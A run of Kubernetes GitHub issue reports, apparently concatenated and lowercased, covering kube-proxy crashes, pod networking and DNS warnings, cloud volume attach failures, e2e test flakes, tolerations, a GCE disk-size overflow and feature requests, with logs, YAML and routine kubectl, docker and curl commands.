http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r 4.13.16-041316-generic\r    \r \r - install tools:\r - network plugin and version  if this is a network-related bug :\r calico\r \r - others:\r set like this same not work\r clustercidr: \ 10.1.2.0/23\ ,\ 10.1.4.0/22\ ,\ 10.1.8.0/21\ \r or\r clustercidr: \ 10.1.2.0/23\  \ 10.1.4.0/22\  \ 10.1.8.0/21\ \r  \r error log  out put  many gorouting  after change kube-proxy config\r    \r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r f0517 20:58:48.881652   32243 server.go:468  content of the proxy server's configuration file was updated\r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/klog.stacks 0xc00000e001, 0xc000b54000, 0x941, 0x2710 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:828 +0xb1\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .output 0x2703480, 0xc000000003, 0xc000122000, 0x2643fa0, 0x9, 0x1d4, 0x0 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:782 +0x161\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .printdepth 0x2703480, 0x3, 0x1, 0xc00092dd28, 0x1, 0x1 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:669 +0x12b\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .print ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:660\r k8s.io/kubernetes/vendor/k8s.io/klog.fatal ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:1189\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc00072a000, 0xc0001061e0, 0x0, 0x5 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:468 +0x1e8\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc00072a000, 0xc00003a1f0, 0x5, 0x5, 0xc00072a000, 0xc00003a1f0 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2ae\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc00072a000, 0x17693d0, 0x2703080, 0x16cab1d \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x2ec\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794\r main.main  \r         _output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/proxy.go:49 +0x105\r \r goroutine 5  chan receive :\r

this doesn't seem to have an impact, but describe pod is producing a warning on busybox startup.  using the standard docker run command on an osx box using docker 1.9.1 and 1.10.3:      docker run \\     --name=kubelet \\     --volume=/:/rootfs:ro \\     --volume=/sys:/sys:ro \\     --volume=/var/lib/docker/:/var/lib/docker:rw \\     --volume=/var/lib/kubelet/:/var/lib/kubelet:rw \\     --volume=/var/run:/var/run:rw \\     --net=host \\     --pid=host \\     --privileged=true \\     -d \\     gcr.io/google_containers/hyperkube-amd64:v1.2.0 \\     /hyperkube kubelet \\         --containerized \\         --hostname-override=\ 127.0.0.1\  \\         --address=\ 0.0.0.0\  \\         --api-servers=http://localhost:8080 \\         --config=/etc/kubernetes/manifests \\         --cluster-dns=10.0.0.10 \\         --cluster-domain=cluster.local \\         --allow-privileged=true --v=2          kubectl describe pod busybox ... events:   firstseen lastseen    count   from            subobjectpath   type        reason      message   --------- --------    -----   ----            -------------   --------    ------      -------   13s       13s     1   {default-scheduler }            normal      scheduled   successfully assigned busybox to 127.0.0.1   13s       13s     1   {kubelet 127.0.0.1}         warning     failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ addndotsoption: resolvconfpath \\\ /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf\\\  does not exist\     13s   13s 1   {kubelet 127.0.0.1} spec.containers{busybox}    normal  pulling pulling image \ busybox\    7s    7s  1   {kubelet 127.0.0.1} spec.containers{busybox}    normal  pulled  successfully pulled image \ busybox\    7s    7s  1   {kubelet 127.0.0.1} spec.containers{busybox}    normal  created created container with docker id 24667e9f518f   7s    7s  1   {kubelet 127.0.0.1} spec.containers{busybox}    normal  started started container with docker id 24667e9f518f      the resolve conf seems fine though:      sudo ls /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf docker@default:~$ sudo ls -l /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf -rw-r--r--    1 root     root            99 mar 17 19:23 /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf docker@default:~$ sudo cat /mnt/sda1/var/lib/docker/containers/bfa0d21913b5a8150afb4a32ea571376e2ad6353f832f1807ffc21bcf46973f9/resolv.conf search default.svc.cluster.local svc.cluster.local cluster.local ad.whirl.net nameserver 10.0.0.10      and here's the resolv.conf in the pod:      kubectl exec busybox cat /etc/resolv.conf search default.svc.cluster.local svc.cluster.local cluster.local ad.whirl.net nameserver 10.0.0.10

test whether: - nodes are ready after upgrade - containers are immediately killed after upgrade - pods are killed within 10 minutes after upgrade - pods remain terminating 10 minutes after upgrade  cc @dchen1107 @mikedanese @quinton-hoole

we need built-in support for some networking layer that gets past the 50 node limit of vpc.  built-in might just mean bundling one of the existing options into the installer.  but we should also see whether another option is more suitable on aws, e.g.  23476

we anticipate that pods may have multiple ip addresses in the future, any combination of zero or greater ipv4 and ipv6 addresses, for a number of reasons: - the pod's default ip  eg, the address that should be used by services or other pods to talk to this pod  may not be reachable from the node.  this prevents liveness checking or node-generic services  eg, loggers  from reaching or being reached by the pod.  however, network plugins could be responsible for ensuring the node can contact the node on a separate ip address, resulting in multiple ip addresses assigned to the pod. - if network plugins connect the pod to multiple ip networks for whatever reason, the pod may have more than one ip address.   eg, the storage network case  - with ipv6, the pod may have both a link-local address and a more generally reachable ip address.  after prototyping multiple ips in kubelet without changing the pod api object, it turns out to be messy to push a kubelet-private idea of multiple ips to the container liveness prober, which only uses api objects instead of kubelet's runtime podstatus object.  plus, api consumers may wish to know about the pods ip addresses.  a straw-man proposal would be:      golang const       // ip address to use for liveness/health checking     healthcheckip   string = \ healthcheckip\     type podaddress struct {     // an ipv4 or ipv6 address by which the pod can be reached     address   string     // special type of the address, if any; can be an arbitrary string     // determined by network plugins, but some values are standardized     type      string     // whether the address should be hidden from the api or not; when     // true the address will be available internally in kubelet, but not     // published to the apiserver.     apihidden bool    json:\ apihidden,omitempty\   }   type podstatus struct {         ....     hostip string  json:\ hostip,omitempty\       podip  string  json:\ podip,omitempty\       // additional ip addresses of the pod.     podaddresses   podaddress         ....  }      members of the net sig have said they do not want some addresses reported to the apiserver since those addresses should not be used outside kubelet, thus the apihidden field.  kubelet would strip out addresses with apihidden=true before posing the pod status to the apiserver, but it would still be available internally for the consumers like the health checker.

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.9+c9fda51d779822-dirty\ , gitcommit:\ c9fda51d779822cdc4b08e6c244a8f95f1a78308\ , gittreestate:\ dirty\ , builddate:\ 2016-09-02t02:06:56z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.9+c9fda51d779822-dirty\ , gitcommit:\ c9fda51d779822cdc4b08e6c244a8f95f1a78308\ , gittreestate:\ dirty\ , builddate:\ 2016-09-02t02:06:56z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  :   azure    what happened  : persistent volumes get failed status with rwo access mode and delete policy    what you expected to happen  : persistent volumes could be deleted within 2 mins because of the delete policy    how to reproduce it    as minimally and precisely as possible : 1. set up an all-in-one cluster via hack/local-up-cluster.sh and enable azure cloud provider 2. create a pv with rwo access mode and delete policy   cat pv-delete.yaml  kind: persistentvolume apiversion: v1 metadata:   name: azpv-delete   labels:     type: local spec:   capacity:     storage: 1gi   accessmodes:     - readwriteonce   azuredisk:     diskname: qetest1.vhd      diskuri: https://somestorageaccount.blob.core.windows.net/vhds/qetest1.vhd    persistentvolumereclaimpolicy: delete 1. create a pvc with rwo access mode to bind the pv 2. create a pod consume this pvc 3. ready and write files in the mounted dir 4. delete the pods and pvc 5. check the pv status    pv get failed status like below:      kc get pv    name          capacity   accessmodes   reclaimpolicy   status    claim           reason    age    azpv-delete   1gi        rwo           delete          failed    default/azpvc             21m   kc describe pv azpv-delete  name:       azpv-delete labels:     type=local status:     failed claim:      default/azpvc reclaim policy: delete access modes:   rwo capacity:   1gi message:    error getting deleter volume plugin for volume \ azpv-delete\ : no volume plugin matched source: events:   firstseen lastseen    count   from                subobjectpath   type        reason          message  ---    21m       21m     1   {persistentvolume-controller }          warning     volumefaileddelete  error getting deleter volume plugin for volume \ azpv-delete\ : no volume plugin matched    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/481/  failed:  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct  3 07:31:05.878: couldn't delete ns: \ e2e-tests-kubectl-vn75d\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-kubectl-vn75d/endpoints\\\ \   has prevented the request from succeeding  get endpoints   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-kubectl-vn75d/endpoints\\\\\\\ \\\   has prevented the request from succeeding  get endpoints \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc82094ec30 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338      previous issues for this test:  28565  29072  29390  29659  30072

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1163+5e29e1ee055568-dirty\ , gitcommit:\ 5e29e1ee05556800cd2fe0dc5341d5de54b4ab47\ , gittreestate:\ dirty\ , builddate:\ 2017-03-14t02:36:44z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1163+5e29e1ee055568-dirty\ , gitcommit:\ 5e29e1ee05556800cd2fe0dc5341d5de54b4ab47\ , gittreestate:\ dirty\ , builddate:\ 2017-03-14t02:36:44z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r hack/local-up-cluster.sh\r -   others  :\r \r \r   what happened  :\r i create a pod using ebs volume, but always get instance not found error message\r \r   what you expected to happen  :\r pod should be running \r \r   how to reproduce it    as minimally and precisely as possible :\r 1.create pv\r  root@ip-172-18-9-70 tmp   kubectl get pv -o yaml\r apiversion: v1\r items:\r - apiversion: v1\r   kind: persistentvolume\r   metadata:\r     annotations:\r       pv.kubernetes.io/bound-by-controller: \ yes\ \r     creationtimestamp: 2017-03-14t05:55:45z\r     labels:\r       type: local\r     name: ebs1\r     namespace: \ \ \r     resourceversion: \ 237\ \r     selflink: /api/v1/persistentvolumesebs1\r     uid: ddc9381a-087a-11e7-982f-0ecb7d4ecce4\r   spec:\r     accessmodes:\r     - readwriteonce\r     awselasticblockstore:\r       fstype: ext4\r       volumeid: aws://us-east-1d/vol-03b77fc85993fbafe\r     capacity:\r       storage: 1gi\r     claimref:\r       apiversion: v1\r       kind: persistentvolumeclaim\r       name: ebs1\r       namespace: default\r       resourceversion: \ 235\ \r       uid: e5984444-087a-11e7-982f-0ecb7d4ecce4\r     persistentvolumereclaimpolicy: retain\r   status:\r     phase: bound\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r \r 2.create a pvc\r  root@ip-172-18-9-70 tmp   kubectl get pvc ebs1 -o yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: 2017-03-14t05:55:58z\r   name: ebs1\r   namespace: default\r   resourceversion: \ 239\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/ebs1\r   uid: e5984444-087a-11e7-982f-0ecb7d4ecce4\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   volumename: ebs1\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 1gi\r   phase: bound\r \r 3.create a pod\r  root@ip-172-18-9-70 tmp   kubectl get pvc ebs1 -o yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: 2017-03-14t05:55:58z\r   name: ebs1\r   namespace: default\r   resourceversion: \ 239\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/ebs1\r   uid: e5984444-087a-11e7-982f-0ecb7d4ecce4\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   volumename: ebs1\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 1gi\r   phase: bound\r  root@ip-172-18-9-70 tmp   kubectl get pods -o yaml\r apiversion: v1\r items:\r - apiversion: v1\r   kind: pod\r   metadata:\r     creationtimestamp: 2017-03-14t05:56:09z\r     labels:\r       name: frontendhttp\r     name: mypod1\r     namespace: default\r     resourceversion: \ 253\ \r     selflink: /api/v1/namespaces/default/pods/mypod1\r     uid: ebfd0a60-087a-11e7-982f-0ecb7d4ecce4\r   spec:\r     containers:\r     - image: aosqe/hello-openshift\r       imagepullpolicy: always\r       name: myfrontend\r       ports:\r       - containerport: 80\r         name: http-server\r         protocol: tcp\r       resources: {}\r       terminationmessagepath: /dev/termination-log\r       terminationmessagepolicy: file\r       volumemounts:\r       - mountpath: /tmp\r         name: aws\r       - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r         name: default-token-lnswv\r         readonly: true\r     dnspolicy: clusterfirst\r     nodename: ip-172-18-9-70.ec2.internal\r     restartpolicy: always\r     schedulername: default-scheduler\r     securitycontext: {}\r     serviceaccount: default\r     serviceaccountname: default\r     terminationgraceperiodseconds: 30\r     tolerations:\r     - effect: noexecute\r       key: node.alpha.kubernetes.io/notready\r       operator: exists\r       tolerationseconds: 300\r     - effect: noexecute\r       key: node.alpha.kubernetes.io/unreachable\r       operator: exists\r       tolerationseconds: 300\r     volumes:\r     - name: aws\r       persistentvolumeclaim:\r         claimname: ebs1\r     - name: default-token-lnswv\r       secret:\r         defaultmode: 420\r         secretname: default-token-lnswv\r   status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-03-14t05:56:09z\r       status: \ true\ \r       type: initialized\r     - lastprobetime: null\r       lasttransitiontime: 2017-03-14t05:56:09z\r       message: 'containers with unready status:  myfrontend '\r       reason: containersnotready\r       status: \ false\ \r       type: ready\r     - lastprobetime: null\r       lasttransitiontime: 2017-03-14t05:56:09z\r       status: \ true\ \r       type: podscheduled\r     containerstatuses:\r     - image: aosqe/hello-openshift\r       imageid: \ \ \r       laststate: {}\r       name: myfrontend\r       ready: false\r       restartcount: 0\r       state:\r         waiting:\r           reason: containercreating\r     hostip: 172.18.9.70\r     phase: pending\r     qosclass: besteffort\r     starttime: 2017-03-14t05:56:09z\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r 4. root@ip-172-18-9-70 tmp   kubectl describe pods mypod1\r name:\t\tmypod1\r namespace:\tdefault\r node:\t\tip-172-18-9-70.ec2.internal/172.18.9.70\r start time:\ttue, 14 mar 2017 01:56:09 -0400\r labels:\t\tname=frontendhttp\r annotations:\t<none>\r status:\t\tpending\r ip:\t\t\r controllers:\t<none>\r containers:\r   myfrontend:\r     container id:\t\r     image:\t\taosqe/hello-openshift\r     image id:\t\t\r     port:\t\t80/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     environment:\t<none>\r     mounts:\r       /tmp from aws  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-lnswv  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   aws:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tebs1\r     readonly:\tfalse\r   default-token-lnswv:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-lnswv\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t-------------\t--------\t------\t\t-------\r   17m\t\t17m\t\t1\tdefault-scheduler\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned mypod1 to ip-172-18-9-70.ec2.internal\r   17m\t\t1m\t\t16\tattachdetach\t\t\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ ebs1\  on node \ ip-172-18-9-70.ec2.internal\  with: error finding instance ip-172-18-9-70.ec2.internal: instance not found\r   15m\t\t10s\t\t8\tkubelet, ip-172-18-9-70.ec2.internal\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ mypod1_default ebfd0a60-087a-11e7-982f-0ecb7d4ecce4 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mypod1\ . list of unattached/unmounted volumes= aws \r   15m\t\t10s\t\t8\tkubelet, ip-172-18-9-70.ec2.internal\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mypod1\ . list of unattached/unmounted volumes= aws \r \r   anything else we need to know  :\r  root@ip-172-18-9-70 tmp   ps -ef | grep kubelet\r root      6084  4443  2 01:55 pts/2    00:02:05 /root/kubernetes/_output/local/bin/linux/amd64/hyperkube apiserver --v=7 --cert-dir=/var/run/kubernetes --client-ca-file=/var/run/kubernetes/client-ca.crt --service-account-key-file=/tmp/kube-serviceaccount.key --service-account-lookup=false --admission-control=namespacelifecycle,limitranger,serviceaccount,securitycontextdeny,resourcequota,defaultstorageclass,defaulttolerationseconds --admission-control-config-file= --bind-address=0.0.0.0 --secure-port=6443 --tls-cert-file=/var/run/kubernetes/serving-kube-apiserver.crt --tls-private-key-file=/var/run/kubernetes/serving-kube-apiserver.key --tls-ca-file=/var/run/kubernetes/server-ca.crt --insecure-bind-address=127.0.0.1 --insecure-port=8080 --kubelet-preferred-address-types=ip-172-18-9-70.ec2.internal --etcd-servers=http://127.0.0.1:2379 --service-cluster-ip-range=10.0.0.0/24 --feature-gates=allalpha=true --cloud-provider=aws --cloud-config=/etc/aws.conf --requestheader-username-headers=x-remote-user --requestheader-group-headers=x-remote-group --requestheader-extra-headers-prefix=x-remote-extra- --requestheader-client-ca-file=/var/run/kubernetes/request-header-ca.crt --requestheader-allowed-names=system:auth-proxy --cors-allowed-origins=/127.0.0.1 : 0-9 + ?$,/localhost : 0-9 + ?$\r root      6303  4443  0 01:55 pts/2    00:00:00 sudo -e /root/kubernetes/_output/local/bin/linux/amd64/hyperkube kubelet --enable-cri=true --v=7 --chaos-chance=0.0 --container-runtime=docker --rkt-path= --rkt-stage1-image= --hostname-override=ip-172-18-9-70.ec2.internal --cloud-provider=aws --cloud-config=/etc/aws.conf --address=127.0.0.1 --require-kubeconfig --kubeconfig /var/run/kubernetes/kubelet.kubeconfig --feature-gates=allalpha=true --cpu-cfs-quota=true --enable-controller-attach-detach=true --cgroups-per-qos=true --cgroup-driver=systemd --keep-terminated-pod-volumes=true --eviction-hard=memory.available<100mi --eviction-soft= --eviction-pressure-transition-period=1m --pod-manifest-path=/var/run/kubernetes/static-pods --cluster-dns=8.8.8.8 --port=10250\r root      6313  6303  1 01:55 pts/2    00:01:18 /root/kubernetes/_output/local/bin/linux/amd64/hyperkube kubelet --enable-cri=true --v=7 --chaos-chance=0.0 --container-runtime=docker --rkt-path= --rkt-stage1-image= --hostname-override=ip-172-18-9-70.ec2.internal --cloud-provider=aws --cloud-config=/etc/aws.conf --address=127.0.0.1 --require-kubeconfig --kubeconfig /var/run/kubernetes/kubelet.kubeconfig --feature-gates=allalpha=true --cpu-cfs-quota=true --enable-controller-attach-detach=true --cgroups-per-qos=true --cgroup-driver=systemd --keep-terminated-pod-volumes=true --eviction-hard=memory.available<100mi --eviction-soft= --eviction-pressure-transition-period=1m --pod-manifest-path=/var/run/kubernetes/static-pods --cluster-dns=8.8.8.8 --port=10250\r root     18739 20526  0 03:38 pts/0    00:00:00 grep --color=auto kubelet\r \r

https://k8s-testgrid.appspot.com/release-master-blocking gce-federation\r \r federation tests are broken and blocking the release.\r \r cc @kubernetes/sig-federation-bugs \r cc @jdumars \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r in version 1.8.0, accessing the container stats via kubelet api proxy using the  /{namespace}/{podname}/{uid}/{containername}  path returns 503.\r \r   what you expected to happen  :\r \r in versions prior to 1.8.0, the container stats were returned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ minikube start --kubernetes-version v1.8.0\r $ curl -k -h \ authorization: bearer $ kubectl describe secret $ kubectl get secrets | grep default | cut -f1 -d ' '  | grep -e '^token' | cut -f2 -d':' | tr -d '\\t' | awk '$1=$1' \  \\\r  https://$ minikube ip :8443/api/v1/nodes/minikube/proxy/stats/<namespace>/<pod_name>/<uid>/<container_name>\r \r ...\r \r < http/1.1 503 service unavailable\r < date: thu, 23 nov 2017 14:29:19 gmt\r < content-length: 133\r < content-type: text/plain; charset=utf-8\r < \r error: 'eof'\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - os  e.g. from /etc/os-release : mac os x\r - install tools: minikube\r

we have a few must-run-on-every-node-no-matter-what daemonsets, specifically for cni providers  must run on masters, should run even during a drain to give other pods a chance to drain cleanly .\r \r the correct toleration for this isn't 100% clear to me:\r \r should we just specify:\r \r    \r tolerations:\r - operator: exists\r    \r \r i've heard that because the operator defaults to equal,  key: x  without a value doesn't do what i had assumed  match any value .\r \r also, the guaranteed scheduling docs at https://kubernetes.io/docs/tasks/administer-cluster/guaranteed-scheduling-critical-addon-pods/ rescheduler-guaranteed-scheduling-of-critical-add-ons  say \ have the podspec’s tolerations field set to  {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \ , but i presume that means \ at least that toleration\   and i think  operator: exists  is indeed a wider toleration \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r - kubectl scale pause deployment/xxx\r - kubectl scale resume deployment/xxx\r   why is this needed  :\r i maintained a preheat shared pod pool, and i need to add the pod to some user's deployment replica=0  when it's need to scale up.\r and what's the problem is that:\r     if the init replica of user deployment is zero, then when i try to add the shared pod to the deployment and then set the replica to 1.\r  - the rs will terminate the shared pool, cause the rs check the replica is 0 before i set it to 1.\r     if the init replica of user deployment is zero, then when i try to set the replica to 1 and then add the shared pod to the deployment.\r  - the rs will start a user pod, and after i added the shared pool to the user deployment, then the rs will check that there are 2 pod, so it will start to terminate a random one of them.\r so no matter how did i try, i just can't achieve what i want. \r \r \r <!-- do not edit below this line -->\r 

there should be a way to easily run any e2e test as a non-root uid -- there's at least one issue that i believe would cause a breakage that it will be critical going forward to surface   2630

 \r   what happened  :\r integer overflow possible when creating a gce pd. see\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/gce_pd/gce_util.go l84\r \r we could/should be using the quantity type throughout. or at least making sure if that value is above  max int64  to use the max int64 value or max disk size value instead of 0.\r \r   what you expected to happen  :\r not overflow\r \r   how to reproduce it  as minimally and precisely as possible   :\r create pvc with storage class with gce dynamic provisioner.\r set request size to be 2^64 +1\r ????\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : all\r - kernel  e.g.  uname -a  : all\r - install tools:\r - others:\r

off-shoot of what i was suggesting in https://github.com/kubernetes/kubernetes/issues/62064 issuecomment-384355538.\r let's keep this as an umbrella for results of performance testing  specifically density test  against changing etcd versions.\r hopefully this will finally help us understand what's really happening with those.\r \r based on  history  https://github.com/kubernetes/kubernetes/commits/master/build/build-image/cross/dockerfile  of our build dockerfile, i think it makes most sense to test the following  let me know if you suggest sth else :\r \r - 3.2.18\r - 3.1.12\r - 3.1.11 ?\r - ...?\r \r cc @kubernetes/sig-scalability-misc @wojtek-t @jpbetz @gyuho @xiang90

  \r in really world,many resources have been limited.\r such as elastic network interface, which only can be created 8 or less, it's limited by  qemu .\r \r i found that we can create a extended-resources to describe the limit, however, \r the  curl  is not producted method.\r \r can we imporve this ? \r example\r    \r curl --header \ content-type: application/json-patch+json\  \\\r --request patch \\\r --data ' {\ op\ : \ add\ , \ path\ : \ /status/capacity/pod.alpha.kubernetes.io~1opaque-int-resource-eni\ , \ value\ : \ 8\ } ' \\\r http://127.0.0.0.1:60001/api/v1/nodes/10.0.0.22/status\r     \r \r    yaml\r apiversion: v1\r kind: extended-resources\r metadata:\r   name: eni-nr\r spec:\r   nodeselector:\r     kubernetes.io/hostname: 10.0.0.22\r  value:\r     pod.alpha.kubernetes.io/opaque-int-resource-eni:  8\r    \r \r and we can modify the nodeselector to create the extern resource, is that easy to use ?\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r only the newly added nfs external provisioner volume io test is flaking.\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/volume_io.go:152\r expected error:\r     < errors.errorstring | 0xc4210e8030>: {\r         s: \ size of file /opt/volume/e2e-tests-volumes-rbzqh/nfs_io_test_e2e-tests-volumes-rbzqh-1048576 is 123904, expected 1048576\ ,\r     }\r     size of file /opt/volume/e2e-tests-volumes-rbzqh/nfs_io_test_e2e-tests-volumes-rbzqh-1048576 is 123904, expected 1048576\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/volume_io.go:157\t\t\t\t\r    \r \r i wonder if the pod is getting killed due to cpu/memory limits.  could it be a problem with limits set by ganesha?\r

